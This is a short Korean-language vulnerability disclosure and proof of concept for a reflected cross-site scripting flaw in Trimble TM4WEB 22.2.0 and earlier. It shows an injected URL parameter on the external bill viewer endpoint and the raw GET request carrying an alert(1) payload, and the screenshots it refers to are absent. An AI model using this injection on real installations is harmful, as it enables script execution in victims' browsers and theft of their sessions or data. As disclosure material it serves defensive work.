
Trimble TM4WEB <=22.2.0의 반사형 크로스 사이트 스크립팅(XSS) 취약점에 대한 개념 증명(PoC) 익스플로잇으로, 외부 청구서 뷰어 엔드포인트의 임의 URL 매개변수를 통한 주입을 시연합니다.
In Trimble TM4WEB <=22.2.0에서 외부 청구서 뷰어 엔드포인트는 URL에 추가된 임의의 매개변수에 대한 주입을 통해 반사형 크로스 사이트 스크립팅(XSS)에 취약합니다.
1단계 :
다음 예제 URL은 취약점을 트리거하고 개념 증명으로 숫자 1을 표시하는 JavaScript alert() 함수를 실행합니다. 이 취약점은 연구자가 지금까지 관찰한 모든 TM4WEB 설치 환경에서 동작합니다. 존재하지 않는 사이트를 사용하는 악의적인 URL 예시:
https://example-tm4web.com/trace/external_bill_viewer.msw?foo=bar"}%27);alert(1);<!--
이 URL은 다음과 같은 악의적인 GET 요청을 트리거합니다.
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);alert(1);%3C!-- HTTP/1.1
Host: example-tm4web.com
Connection: close
이 요청은 취약한 external_bill_viewer.msw 엔드포인트의 임의의 매개변수를 악용합니다.
이 공격은 아래 스크린샷과 같이 HTTP 응답의 84번째 줄에 유효한 JavaScript 코드 주입을 발생시킵니다 :

아래에는 alert(1) 페이로드가 JavaScript로 실행된 결과와 함께 예시 주입이 표시되어 있습니다 :